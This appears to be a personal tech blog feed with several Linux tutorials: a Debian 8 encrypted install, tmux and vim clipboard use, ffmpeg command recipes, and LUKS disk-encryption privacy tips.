<p>Until now, I've been using Xubuntu for over 3 years as my main operating system, on both my laptop and desktop computer. However, yesterday, as I was installing Xubuntu 16.04 on a friend's laptop, I noticed a few bugs quite annoying (like the <a href="https://bugs.launchpad.net/ubuntu/+bug/1573454">disappearing mouse</a>). In addition, I had been thinking about migrating to Debian for quite a long time (a friend of mine had already taken that step a couple of months ago). Xubuntu is shipped with a bunch of useless programs that I would never use. So time has come to have a lightweight bare distro, such as Debian 8. Moreover, my aging laptop would hugely benefit from that.</p>
<h1 id="tutorial">Tutorial</h1>
<p>Let's get straight to the point: <strong>how to install Debian 8 on a whole encrypted disk?</strong></p>
<p>Why encryption? Although I don't have sensitive data to protect, I take my laptop everywhere I go. Consequently, I am vulnerable to theft. What is on my disk is not valuable but still, I prefer to keep my stuff private.</p>
<p>Before starting, make sure you have two USB sticks ready nearby, and another computer with a working Internet connection.</p>
<p>Here are the steps to get a bare installation of Debian 8:</p>
<ol>
<li>Download a "<em>small installation image</em>" on <a href="https://www.debian.org/distrib/">the official website</a>.</li>
<li>
<p>Flash it on a USB stick:</p>
<div class="highlight"><pre><span></span><code>ls /dev/sd*
<span class="c1"># Plug the USB stick</span>
ls /dev/sd* <span class="c1"># Detect which is yours</span>
sudo umount /dev/sdX1
sudo dd <span class="k">if</span><span class="o">=</span>debian-8.4.0-amd64-netinst.iso <span class="nv">of</span><span class="o">=</span>/dev/sdX <span class="nv">bs</span><span class="o">=</span>1M
sudo sync<span class="p">;</span> sync
sudo umount /dev/sdX1
</code></pre></div>
</li>
<li>
<p>On the target PC, disable any HDD password or BIOS password. It might prevent you from encrypting the disk. I experienced it.</p>
</li>
<li>Boot on the USB flash drive. Select "<em>Install</em>", unless you prefer a graphical install. They both do the same thing.</li>
<li>
<p>Follow the instructions. You can leave the domain name blank. If you get a message "No common CD-ROM drive was detected", press ALT+F2 and do the following:</p>
<div class="highlight"><pre><span></span><code>blkid <span class="c1"># Identify a device with a partition of type iso9660</span>
mkdir /mnt/iso
mount -t iso9660 /dev/sdb1 /mnt/iso
</code></pre></div>
<p>Press ALT+F1 to return to the installation dialog. Continue the installation.</p>
</li>
<li>
<p>If at some point a message says that proprietary firmware files are needed, it's time to go back to the other computer and USB stick. Otherwise, skip this step.</p>
<p><a href="//romainpellerin.eu/images/debian_firmware.jpg"><img alt="Picture" src="//romainpellerin.eu/images/debian_firmware.jpg"></a></p>
<p>Note: this is doable with only one USB stick. But it is much harder.</p>
<ol>
<li>Download the mentioned file(s) from the <a href="https://packages.debian.org/jessie/">Debian repository</a>. In my case, I needed these ones: <a href="https://packages.debian.org/stretch/all/firmware-misc-nonfree/download">https://packages.debian.org/stretch/all/firmware-misc-nonfree/download</a> and <a href="https://packages.debian.org/stretch/all/firmware-realtek/download">https://packages.debian.org/stretch/all/firmware-realtek/download</a>.</li>
<li>Put the <code>.deb</code> file(s) on the other USB stick. If you decided to re-use the same USB stick, first umount it: ALT+F2, <code>cat /etc/mtab</code> then <code>sync && umount /dev/sdb1 && sync</code>. Plug it in the other computer and delete existing partitions with <code>fdisk</code> and create a new one of type <code>W95 FAT32</code>. Format it using <code>sudo mkfs.vfat /dev/sdc1</code>. Then put the files on the USB stick.</li>
<li>Plug the one containing firmwares files on your target computer, in the same USB port as the previous USB stick. You might need to hit ALT+F2, then check what is currently mounted (<code>cat /etc/mtab</code>) (make sure nothing on <code>/cdrom</code>) and mount the one you just plugged in: <code>mount -t vfat /dev/sdb1 /cdrom</code>. ALT+F1 to go back to the install screen.</li>
<li>Answer "<em>Yes</em>" to "<em>Load missing firmware from removable media?</em>".</li>
<li>
<p>Once completed, unplug the USB stick and plug the one containing Debian in the same port. You might need to re-write Debian if you re-used the same USB flash drive. Then press ALT+F1 and do:</p>
<div class="highlight"><pre><span></span><code>blkid <span class="c1"># Identify a device with a partition of type iso9660</span>
<span class="c1"># Umount if need be</span>
mount -t iso9660 /dev/sdc1 /cdrom
mount -t iso9660 /dev/sdc1 /mnt/iso <span class="c1"># Might not be required</span>
</code></pre></div>
</li>
<li>
<p>Press ALT+F2 to return to the installation dialog.</p>
</li>
</ol>
</li>
<li>
<p>When reaching the partitioning step, choose "<em>Guided using LVM encrypted</em>". You should eventually obtain something like this:</p>
<p><a href="//romainpellerin.eu/images/debian_partitions.jpg"><img alt="Picture" src="//romainpellerin.eu/images/debian_partitions.jpg"></a></p>
</li>
<li>
<p>When reaching the "<em>Software Selection</em>", choose <a href="http://forums.debian.net/viewtopic.php?f=17&t=125037#p595087">only XFCE as a desktop manager</a>, in combinaison with the <a href="http://comments.gmane.org/gmane.linux.debian.user/455520">print server</a> and utilities. Do not use the Debian desktop environment. It is shitty as f*ck.</p>
<p><a href="//romainpellerin.eu/images/debian_selection.jpg"><img alt="Picture" src="//romainpellerin.eu/images/debian_selection.jpg"></a></p>
</li>
<li>
<p>Merely follow instructions until completion of the installation.</p>
</li>
</ol>
<h2 id="switching-from-stable-to-testing">Switching from stable to testing</h2>
<p>If you need to be up-to-date, that's the right thing to do!</p>
<div class="highlight"><pre><span></span><code>su
cp /etc/apt/sources.list<span class="o">{</span>,.bak<span class="o">}</span>
sed -i -e <span class="s1">'s/ \(stable\|stretch\)/ testing/ig'</span> /etc/apt/sources.list
apt update
apt --download-only dist-upgrade
apt dist-upgrade
</code></pre></div>
<p><a href="http://unix.stackexchange.com/questions/90389/how-to-upgrade-debian-stable-wheezy-to-testing-jessie">More information</a>.</p>
<h1 id="improve-your-privacy-by-using-trustworthy-dns-servers">Improve your privacy by using trustworthy DNS servers</h1>
<p>I recommend <a href="https://larlet.fr/david/stream/2015/10/12/">French Data Network's DNS servers</a>: 80.67.169.12 and 80.67.169.40. Follow <a href="http://askubuntu.com/questions/627899/nameserver-127-0-1-1-in-resolv-conf-wont-go-away">this link</a> to find out how to configure Ubuntu.</p>
<h1 id="use-free-software">Use free software</h1>
<p>Namely Icecat or Iceweasel and Icedove as alternatives to Firefox and Thunderbird respectively.</p>
<p>Hope it was helpful.</p>
<h1 id="further-reading">Further reading</h1>
<ul>
<li><a href="https://wiki.debian.org/fr/AtiHowTo">Problem with AMD drivers</a>. And don't forget about <code>arandr</code>!</li>
</ul>Copy Pasting In Tmux And Vim2016-04-06T16:30:00+02:002022-09-24T12:11:00+02:00Romain Pellerintag:romainpellerin.eu,2016-04-06:/copy-pasting-in-tmux-and-vim.html<p>How to copy and paste with Tmux and Vim</p><p>Over the last couple of years, I've spent quite a lot of time fine-tuning my prompt. Most of my <a href="https://github.com/rpellerin/dotfiles">configuration is available online</a>, so feel free to use it.</p>
<p>My configuration is as follows:</p>
<ul>
<li>I use <code>zsh</code> rather than <code>bash</code> cause it's way more powerful and convenient. In addition, I use the awesome <a href="https://github.com/sorin-ionescu/prezto">Prezto</a> which is a configuration framework built for <code>zsh</code>.</li>
<li><code>tmux</code> to be able to open as many terminals as I want in only one window (very helpful).</li>
<li><code>vim</code> as my main text editor. I use it for most things involving programming (except for Android, I have to admit, as Android Studio does the job really well).</li>
</ul>
<p>For example, this is my current terminal (actually containing 3 terminals):</p>
<p><a href="//romainpellerin.eu/images/copy-pasting-tmux-vim-screenshot.png"><img alt="Screenshot" src="//romainpellerin.eu/images/copy-pasting-tmux-vim-screenshot.png"></a></p>
<p><em>(the top-right terminal is of no use, I just opened it to show how clever zsh coupled with Prezto is).</em></p>
<h1 id="the-problem">The problem</h1>
<p>I guess most beginners with Tmux and Vim (especially Vim) stumble upon one problem (and the number of questions on StackOverflow asserts it): how to properly copy-paste? I had that problem too. I'll answer to these questions simply.</p>
<p>First of all, you have to know that, on X11 systems (which means most GNU/Llinux distros), there are two "clipboards":</p>
<ul>
<li>* is the selection buffer. It's the one used when you select a text and paste it using the middle button of a mouse (it's actually made of two buffers called <em>PRIMARY</em> and <em>SECONDARY</em> but we don't need to know that).</li>
<li>+ is the cut buffer (the one used with C-c C-v) also called <em>CLIPBOARD</em>.</li>
</ul>
<p>Secondly, you may know that, in most programs you can use:</p>
<ul>
<li>'Ctrl-c' or 'Ctrl-Shift-c' to copy to the cut buffer</li>
<li>'Ctrl-v' or 'Ctrl-Shift-v' to paste from the cut buffer</li>
<li>'Ctrl-Insert' to copy to the selection buffer or simply select text using a mouse</li>
<li>'Shift-Insert' to paste from the selection buffer or simply use the middle button of a mouse</li>
</ul>
<p>Let us now see how to copy paste from one environment to another one.</p>
<h1 id="copy-pasting">Copy-pasting</h1>
<h2 id="copy-pasting-from-vim-to-vim-same-instance">Copy-pasting from Vim to Vim (same instance)</h2>
<ul>
<li>In normal mode, using the keys 'yy' (yank) or 'dd' (delete) and then 'p' (paste).</li>
<li>Also using the visual mode with 'y' (yank).</li>
</ul>
<h2 id="copying-from-tmux">Copying from Tmux</h2>
<p>Use my <a href="https://github.com/rpellerin/dotfiles/blob/master/.tmux.conf">conf file</a> and install <code>xclip</code> (<code>sudo apt-get install xclip</code>) to achieve the following:</p>
<ul>
<li>'C-b [': enter copy mode</li>
<li>'v': begin selection</li>
<li>'y': copy to clipboard and exit copy mode</li>
</ul>
<h2 id="copying-from-vim">Copying from Vim</h2>
<ul>
<li>In normal or visual mode, using '"+yy' (normal) '"+y' (visual) to copy to the cut buffer or '*yy' and '"*y' to copy to the selection buffer.</li>
</ul>
<h2 id="pasting-in-tmux">Pasting in Tmux</h2>
<ul>
<li>Paste in Tmux: 'Ctrl-Shift-v' (paste the clipboard) or 'Shift-Insert' (paste the selection).</li>
<li>You can also use Tmux's own buffers (list them using <code>tmux list-buffers</code> or show the current one with <code>tmux show-buffer</code>). For instance, to past from the buffer, do 'C-b ]'.</li>
<li>Tmux also allows you to paste its buffer in a file, using <code>tmux save-buffer foo.txt</code>.</li>
<li>To show or save a specific buffer, do <code>tmux show-buffer -b <n></code> or <code>tmux save-buffer -b <n> bar.txt</code>.</li>
</ul>
<h2 id="pasting-in-vim">Pasting in Vim</h2>
<ul>
<li>Paste in Vim: '"+p' (cut buffer) or '"*p' (selection buffer).</li>
<li>You can also use the shortcuts shown above in <em>Pasting in Tmux</em> (first bullet point).</li>
</ul>
<p>Hope this was helpful.</p>Tips For FFMPEG2016-02-21T21:30:00+01:002024-01-02T19:17:00+01:00Romain Pellerintag:romainpellerin.eu,2016-02-21:/tips-for-ffmpeg.html<p>A few tips with FFMPEG</p><p><code>-acodec</code> is an alias for <code>-c:a</code> which is an alias for <code>-codec:a</code> (audio stream).<br>
<code>-vcodec</code> is an alias for <code>-c:v</code> which is an alias for <code>-codec:v</code> (video stream).</p>
<p><code>-af</code> is an alias for <code>-filter:a</code> (audio stream).<br>
<code>-vf</code> is an alias for <code>-filter:v</code> (video stream).</p>
<h1 id="turn-a-portrait-video-into-a-landscape-one-adding-a-blurred-background-of-the-video">Turn a portrait video into a landscape one, adding a blurred background of the video</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -vf <span class="s1">'split[original][copy];[copy]scale=ih*16/9:-1,crop=h=iw*9/16,gblur=sigma=20[blurred];[blurred][original]overlay=(main_w-overlay_w)/2:(main_h-overlay_h)/2'</span> output.mp4
</code></pre></div>
<h1 id="cross-fade-a-video-for-seamless-loops">Cross fade a video for seamless loops</h1>
<div class="highlight"><pre><span></span><code>curl -o ./video-crossfade -O https://raw.githubusercontent.com/joeyhoer/video-crossfade/master/video-crossfade.sh
chmod +x ./video-crossfade
./video-crossfade.sh -f <span class="m">2</span> -o output.mp4 input.mp4 <span class="c1"># 2 second crossfade</span>
</code></pre></div>
<h1 id="scale-a-27k-2704x1520-video-down-to-1080p">Scale a 2.7K (2704x1520) video down to 1080p</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -vf <span class="s2">"scale=1920:1080,setsar=1"</span> -acodec copy output.mp4
</code></pre></div>
<h1 id="convert-a-video-framerate-to-ntsc-2997002997">Convert a video framerate to NTSC (29.97002997)</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -r ntsc -acodec copy output.mp4
</code></pre></div>
<h1 id="split-a-video-in-several-chunks-of-same-duration">Split a video in several chunks of same duration</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -c copy -map <span class="m">0</span> -segment_time <span class="m">00</span>:00:30 -f segment -reset_timestamps <span class="m">1</span> output%03d.mp4
</code></pre></div>
<h1 id="add-optional-subtitles"><a href="https://www.bannerbear.com/blog/how-to-add-subtitles-to-a-video-file-using-ffmpeg/">Add optional subtitles</a></h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -i subtitle.eng.srt -i subtitle.deu.srt -map <span class="m">0</span> -map <span class="m">1</span> -map <span class="m">2</span> -c copy -c:s mov_text -metadata:s:s:0 <span class="nv">language</span><span class="o">=</span>eng -metadata:s:s:1 <span class="nv">language</span><span class="o">=</span>deu output_eng_deu.mp4
</code></pre></div>
<h1 id="add-embedded-subtitles-burned-in-subtitles">Add embedded subtitles (burned-in subtitles)</h1>
<div class="highlight"><pre><span></span><code>sudo apt install subtitlecomposer
</code></pre></div>
<p>In subtitlecomposer, import the video, add subtitles, and export the file as <code>filename.ass</code>. Edit the exported text file, change the font from 16px to 22. Then:</p>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -vf <span class="nv">ass</span><span class="o">=</span>filename.ass output.mp4
</code></pre></div>
<h1 id="create-a-video-out-of-several-images">Create a video out of several images</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -r <span class="m">24</span> -f image2 -s 1440x1080 -i image%04d.jpg -vcodec libx264 -crf <span class="m">25</span> -pix_fmt yuv420p output.mp4 <span class="c1"># image0001.jpg, image0002.jpg, etc</span>
</code></pre></div>
<h1 id="create-a-gif-from-a-video">Create a GIF from a video</h1>
<div class="highlight"><pre><span></span><code><span class="nv">palette</span><span class="o">=</span><span class="s2">"/tmp/palette.png"</span>
<span class="nv">filters</span><span class="o">=</span><span class="s2">"fps=15,scale=320:-1:flags=lanczos"</span>
ffmpeg -v warning -i input.mp4 -vf <span class="s2">"</span><span class="nv">$filters</span><span class="s2">,palettegen"</span> -y <span class="nv">$palette</span>
ffmpeg -v warning -i input.mp4 -i <span class="nv">$palette</span> -lavfi <span class="se">\</span>
<span class="s2">"</span><span class="nv">$filters</span><span class="s2"> [x]; [x][1:v] paletteuse"</span> -y output.gif
</code></pre></div>
<h1 id="create-a-gif-from-images-01jpg-02jpg-03jpg-etc">Create a GIF from images (01.jpg, 02.jpg, 03.jpg, etc...)</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -f image2 -framerate <span class="m">1</span> -i %02d.jpg output.gif
</code></pre></div>
<h1 id="crop-an-ogv-video">Crop an OGV video</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.ogv -vcodec libtheora -vf <span class="nv">crop</span><span class="o">=</span><span class="m">700</span>:400:0:0 -f ogg output.ogv
</code></pre></div>
<h1 id="merge-an-audio-track-delayed-with-a-video-and-cut-the-final-video-according-to-the-shortest-stream">Merge an audio track (delayed) with a video, and cut the final video according to the shortest stream</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -itsoffset <span class="m">00</span>:00:15 -i input.mp4 -i audio.mp3 -acodec copy -vcodec copy <span class="se">\</span>
-map <span class="m">0</span>:0 -map <span class="m">1</span>:0 -shortest output.mp4
</code></pre></div>
<h1 id="cut-a-video-set-the-starting-time-and-the-duration">Cut a video (set the starting time and the duration)</h1>
<p>Two options mostly.</p>
<ol>
<li>
<p>Process all the input and then precisely cut the re-encoded output at the requested time, the rest of the input that came out before is discarded. It is very slow because it has to process the beginning of the input even though it is discarded.</p>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -ss <span class="m">00</span>:00:13 -t <span class="m">00</span>:09:00 output.mp4
</code></pre></div>
</li>
<li>
<p>Seek in input (fast but imprecise, <a href="https://www.quora.com/What-is-the-difference-between-an-I-Frame-and-a-Keyframe-in-video-encoding">can only cut at key frames</a>) and do not re-encode to preserve quality:</p>
<div class="highlight"><pre><span></span><code>ffmpeg -ss <span class="m">00</span>:00:13 -i input.mp4 -t <span class="m">00</span>:09:00 -c copy -avoid_negative_ts make_zero output.mp4
</code></pre></div>
</li>
</ol>
<p><a href="https://trac.ffmpeg.org/wiki/Seeking">More information</a>.</p>
<h1 id="extract-every-image-from-a-video">Extract EVERY image from a video</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i foo.avi -r <span class="m">1</span> -s WxH -f image2 foo-%03d.jpeg
</code></pre></div>
<h1 id="create-a-24fps-video-from-many-images"><a href="http://trac.ffmpeg.org/wiki/Create%20a%20video%20slideshow%20from%20images">Create a 24fps video from many images</a></h1>
<div class="highlight"><pre><span></span><code>ffmpeg -framerate <span class="m">1</span> -i foo-%02d.jpg -c:v libx264 -r <span class="m">24</span> -pix_fmt yuv420p foo.mp4
</code></pre></div>
<h1 id="accelerate-a-video-by-2">Accelerate a video by 2</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -filter:v <span class="s2">"setpts=0.5*PTS"</span> output.mp4
</code></pre></div>
<h1 id="keep-the-original-metadata-of-a-mp4-file">Keep the original metadata of a MP4 file</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i original_video.mp4 -c:v libx264 -c:a copy -map_metadata <span class="m">0</span> transcoded_video.mp4
touch -r original_video.mp4 transcoded_video.mp4
</code></pre></div>
<h1 id="flip-by-180-a-video-and-fix-the-metadata">Flip by 180° a video and fix the metadata</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -vf <span class="s2">"transpose=2,transpose=2"</span> -metadata:s:v:0 <span class="nv">rotate</span><span class="o">=</span><span class="m">0</span> output.mp4
</code></pre></div>
<h1 id="remove-the-audio-stream">Remove the audio stream</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -an -vcodec copy output.mp4
</code></pre></div>
<h1 id="convert-from-mov-to-mp4">Convert from .mov to .mp4</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mov -c:v libx264 -c:a copy output.mp4
</code></pre></div>
<h1 id="concatenate-several-mp4-files"><a href="https://trac.ffmpeg.org/wiki/Concatenate">Concatenate several MP4 files</a></h1>
<div class="highlight"><pre><span></span><code>find . -type f -iname <span class="s2">"*.MP4"</span> -exec ffmpeg -i <span class="s1">'{}'</span> -c copy -bsf:v h264_mp4toannexb -f mpegts <span class="s1">'{}.ts'</span> <span class="se">\;</span>
ffmpeg -i <span class="s2">"concat:</span><span class="k">$(</span>find . -type f -iname <span class="s2">"*.ts"</span> <span class="p">|</span> sort <span class="p">|</span> tr <span class="s1">'\n'</span> <span class="s1">'|'</span> <span class="p">|</span> head -c -1<span class="k">)</span><span class="s2">"</span> -c copy -avoid_negative_ts make_zero -bsf:a aac_adtstoasc output.mp4
</code></pre></div>
<h1 id="fade-out-last-2-seconds-of-audio-track">Fade out last 2 seconds of audio track</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i output-with-sound.mp4 -c:v copy -filter_complex <span class="s2">"areverse, afade=d=2, areverse"</span> output-with-sound-fadeout.mp4
</code></pre></div>
<h1 id="merge-two-videos-placed-side-by-side-with-audio-from-first-video">Merge two videos placed side by side with audio from first video</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i left.mp4 -i right.mp4 <span class="se">\</span>
-filter_complex <span class="s2">"[0:v][1:v]hstack=inputs=2[myvideo]"</span> <span class="se">\</span>
-map <span class="s2">"[myvideo]"</span> -map <span class="s2">"0:a"</span> wide.mp4
</code></pre></div>
<p>You might want to scale it down and add black padding at the top and bottom:</p>
<div class="highlight"><pre><span></span><code>ffmpeg -i left.mp4 -i right.mp4 <span class="se">\</span>
-filter_complex <span class="s2">"[0:v][1:v]hstack=inputs=2[myvideo];[myvideo]scale=1920:-1,pad=1920:1080:0:270[myvideo]"</span> <span class="se">\</span>
-map <span class="s2">"[myvideo]"</span> -map <span class="s2">"0:a"</span> wide.mp4
:::bash
</code></pre></div>
<p>Alternatively, you can crop the initial two inputs and directly produce a 1920x1080 video:</p>
<div class="highlight"><pre><span></span><code>ffmpeg -i left.mp4 -i right.mp4 <span class="se">\</span>
-filter_complex <span class="s2">"[0:v]crop=960:1080:480:0[left];[1:v]crop=960:1080:480:0[right];[left][right]hstack=inputs=2[myvideo]"</span> <span class="se">\</span>
-map <span class="s2">"[myvideo]"</span> -map <span class="s2">"0:a"</span> <span class="m">16</span>-9-video.mp4
</code></pre></div>
<p>If one of the two videos is not correctly synced with the other one, you can delay an input. Add <code>-ss 00:00:0x</code> before the <code>-i input</code> that needs adjustment.</p>
<h1 id="put-one-video-on-top-of-another-one-overlay-alternate-between-the-two-and-use-audio-from-first-video">Put one video on top of another one (overlay), alternate between the two, and use audio from first video</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i initial.mp4 -i ontop.mp4 -filter_complex <span class="se">\</span>
<span class="s2">"[0:0][1:0]overlay=enable='between(t\,19,28)'[myvideo];[myvideo][1:0]overlay=enable='between(t\,37,45)'[myvideo]"</span> <span class="se">\</span>
-map <span class="s2">"[myvideo]"</span> -map <span class="s2">"0:a"</span> -shortest output.mp4
</code></pre></div>
<h1 id="replace-the-audio-track-with-another">Replace the audio track with another</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i output.mp4 -i yo.mp3 -map <span class="m">0</span>:0 -map <span class="m">1</span> -vcodec copy -acodec copy output2.mp4
</code></pre></div>
<h1 id="down-scaling-a-video-from-1080p-to-720p"><a href="https://trac.ffmpeg.org/wiki/Scaling%20(resizing)%20with%20ffmpeg">(Down) Scaling a video from 1080p to 720p</a></h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -vf <span class="nv">scale</span><span class="o">=</span><span class="m">1280</span>:-1 -acodec copy output.mp4
</code></pre></div>
<h1 id="concat-mts-files-to-mp4">Concat MTS files to MP4</h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i <span class="s2">"concat:</span><span class="k">$(</span>find . -type f -iname <span class="s2">"*.ts"</span> <span class="p">|</span> sort <span class="p">|</span> tr <span class="s1">'\n'</span> <span class="s1">'|'</span> <span class="p">|</span> head -c -1<span class="k">)</span><span class="s2">"</span> -vcodec copy -acodec aac -ab 512k -cutoff <span class="m">22050</span> -sn output.mp4
</code></pre></div>
<h1 id="reduce-the-size-of-a-video"><a href="https://unix.stackexchange.com/a/337359/194594">Reduce the size of a video</a></h1>
<div class="highlight"><pre><span></span><code>ffmpeg -i input.mp4 -vcodec libx265 -crf <span class="m">24</span> -r <span class="m">25</span> output.mp4
<span class="c1"># OR if libx265 is not supported</span>
ffmpeg -i input.mp4 -vcodec libx264 -crf <span class="m">24</span> -r <span class="m">25</span> output.mp4
</code></pre></div>
<h1 id="resources">Resources</h1>
<ul>
<li><a href="https://ehret.me/ffmpeg-tips/">FFmpeg tips</a></li>
<li><a href="https://github.com/carykh/jumpcutter">jumpcutter</a></li>
</ul>Yes, Privacy Matters2016-02-04T01:40:00+01:002022-09-24T15:41:00+02:00Romain Pellerintag:romainpellerin.eu,2016-02-04:/yes-privacy-matters.html<p>Regarding privacy, get the right tools and build a powerful computer, with a Linux-based OS</p><iframe width="700" height="394" sandbox="allow-same-origin allow-scripts allow-popups" title="Si, vous avez quelque chose à cacher. - Numendil" src="https://video.passageenseine.fr/videos/embed/e71c6466-9085-48ca-8693-62ed014c1a96" frameborder="0" allowfullscreen></iframe>
<p><em>"Si ! vous avez quelque chose à cacher"</em></p>
<iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/mqUInAOfBWI?rel=0" frameborder="0" allowfullscreen></iframe>
<p><em>"La surveillance sur Internet - Fabrice Epelboin - Web2day 2014"</em></p>
<p>If you do care about your privacy, you'd better read what follows carefully ;). Basically, some rules of thumb to avoid common pitfalls and a few tricks to take care of your privacy as much as possible.</p>
<ul>
<li><a href="https://github.com/lfit/itpol">Useful IT policies</a></li>
<li>Use GNU/Linux (Ubuntu-based distro are not perfect but a good start, like Xubuntu; give <a href="http://exherbo.org/">exerbo</a> a try if you're brave enough)</li>
<li>Don't use binaries coming from the Internet, compile every program to the extent possible</li>
<li>Forbid proprietary software as well - see alternatives below in this article</li>
<li>Encrypt your whole HDD (and any other external ones) - see right below</li>
<li><strong>DO NOT INSTALL</strong> Facebook nor Twitter on your Android phone (or Cyanogen)</li>
</ul>
<p>Before starting reading this article, you might be interested in this webpage, a <a href="https://wiki.archlinux.org/index.php/Disk_encryption">full documentation about how encryption works with Linux</a>.</p>
<h1 id="secure-your-computer-and-encrypt-part-of-your-local-hard-disk-drive">Secure your computer and encrypt (part of) your local hard disk drive</h1>
<p>First, set all possible BIOS passwords (usually one for the administrator and one for user(s); each password will give different rights for the BIOS, for example sensitive settings will be accessible to the administrator only).</p>
<p>Secondly, set HDD passwords from the BIOS panel (again, one for admins, one for user, both have the same purpose and rights: they kind of unlock the HDD, allowing it to be read and written).</p>
<h2 id="full-disk-encryption">Full disk encryption</h2>
<p>Then, to encrypt your whole disk, you have 3 options:</p>
<ol>
<li>Use the *Ubuntu built-in installer to encrypt the whole disk, erasing <strong>EVERYTHING</strong> on the disk.</li>
<li>Use the *Ubuntu built-in installer with Gparted to encrypt the whole disk, more flexible (select <em>something else</em>).</li>
<li>DIY. It allows you to <a href="http://askubuntu.com/questions/293028/how-can-i-install-ubuntu-encrypted-with-luks-with-dual-boot">keep a dual boot installation</a>.</li>
</ol>
<p>I would recommend going with the 1., but if you're interested, <a href="https://thesimplecomputer.info/full-disk-encryption-with-ubuntu">have a deeper look at thoses 3 options</a>. Here is <a href="http://www.tecmint.com/install-debian-8-with-luks-encrypted-home-var-lvm-partitions/">another tutorial</a> to do it with Debian (not a *Ubuntu disto).</p>
<p>In any case, here is how to write a new Xubuntu image on a USB stick:</p>
<div class="highlight"><pre><span></span><code>lsblk <span class="c1"># To identify the USB stick</span>
sudo dd <span class="k">if</span><span class="o">=</span>/home/user/Downloads/xubuntu-15.10-desktop-amd64.iso <span class="nv">of</span><span class="o">=</span>/dev/sdb <span class="se">\</span>
<span class="nv">bs</span><span class="o">=</span>1M <span class="o">&&</span> sudo sync
</code></pre></div>
<p>Please notice that with LUKS encryption, <a href="https://twopointfouristan.wordpress.com/2011/04/17/pwning-past-whole-disk-encryption/">your computer is still vulnerable as long as you have a boot partition unencrypted</a>.</p>
<h2 id="home-encryption-using-the-filesystem-called-ecryptfs"><code>/home</code> encryption (using the filesystem called eCryptfs)</h2>
<p>Do it while installing your fresh new *Ubuntu. Otherwise, you can still <a href="http://askubuntu.com/questions/366749/enable-disk-encryption-after-installation">do it later</a> using <a href="http://www.howtogeek.com/116032/how-to-encrypt-your-home-folder-after-installing-ubuntu/"><code>ecryptfs-migrate-home</code></a>.</p>
<h1 id="encrypt-external-hdd-with-dm-crypt-and-luks">Encrypt external HDD with <code>dm-crypt</code> and LUKS</h1>
<ol>
<li>
<p>Find the correct device (eg. <code>/dev/sdb1</code> as a second internal SATA-HDD) and umount it:</p>
<div class="highlight"><pre><span></span><code>sudo aptitude update <span class="p">;</span> sudo aptitude install cryptsetup
sudo modprobe dm-crypt sha256 aes <span class="c1"># Enable modules, might be already done</span>
lsblk
sudo umount /dev/sdb1
sudo dd <span class="k">if</span><span class="o">=</span>/dev/urandom <span class="nv">of</span><span class="o">=</span>/dev/sdb <span class="nv">bs</span><span class="o">=</span>4K <span class="c1"># Optional, add obfuscation</span>
</code></pre></div>
</li>
<li>
<p>Create one big partition using the whole space (system must be Linux):</p>
<div class="highlight"><pre><span></span><code>sudo fdisk /dev/sdb
</code></pre></div>
</li>
<li>
<p>Encrypt the partition using LUKS:</p>
<div class="highlight"><pre><span></span><code>sudo cryptsetup --verify-passphrase -c aes-xts-plain64 -s <span class="m">512</span> <span class="se">\</span>
-h sha256 luksFormat /dev/sdb1 <span class="c1"># 512-bit AES encryption</span>
<span class="c1"># with 256-bit SHA hashing algorithm</span>
</code></pre></div>
</li>
<li>
<p>Create the filesystem:</p>
<div class="highlight"><pre><span></span><code>sudo cryptsetup luksOpen /dev/sdb1 myhdd
</code></pre></div>
</li>
<li>
<p>Format it and test mounting:</p>
<div class="highlight"><pre><span></span><code>sudo mkfs.ext4 /dev/mapper/myhdd -L <LABEL> -m <span class="m">1</span>
<span class="c1"># -m specifies the percentage of the filesystem blocks reserved</span>
<span class="c1"># for the super-user</span>
mkdir /mnt/hdd
mount /dev/mapper/myhdd /mnt/hdd
df -H
umount /mnt/hdd
</code></pre></div>
</li>
<li>
<p>Close container:</p>
<div class="highlight"><pre><span></span><code>sudo cryptsetup luksClose /dev/mapper/myhdd
sudo eject /dev/sdb
</code></pre></div>
</li>
<li>
<p>Optional step, after disconnecting and reconnecting the device:</p>
<div class="highlight"><pre><span></span><code>sudo chown user:user /media/disk
</code></pre></div>
</li>
</ol>
<p>You can check the partition using</p>
<div class="highlight"><pre><span></span><code>fsck -vy /dev/mapper/myhdd
</code></pre></div>
<p>Finally, you might want to backup the LUKS headers or add or change keys (passwords), if so look some keywords up on the Internet, like <em><code>cryptsetup</code></em> plus <em><code>luksHeaderBackup</code></em> or <em><code>luksHeaderRestore</code></em> or <em><code>isLuks</code></em> or <em><code>luksDump</code></em> or <em><code>luksAddKey</code></em> or <em><code>luksRemoveKey</code></em>.</p>
<h2 id="automount-encrypted-hdds-with-luks-on-bootup">Automount encrypted HDDs with LUKS on bootup</h2>
<p>In <code>/etc/crypttab</code>, add:</p>
<div class="highlight"><pre><span></span><code>mycryptedhdd UUID=00000000-0000-0000-0000-000000000000 none luks,tries=3
</code></pre></div>
<p>You can find the UUID using <code>blkid /dev/sdb</code>. You can also directly enter the path <code>/dev/sdb</code>. <em>none</em> means there's no keyfile, you'll have to type the password. <em>tries</em> is the number or tries you have.</p>
<p>Then, in <code>/etc/fstab</code>, add:</p>
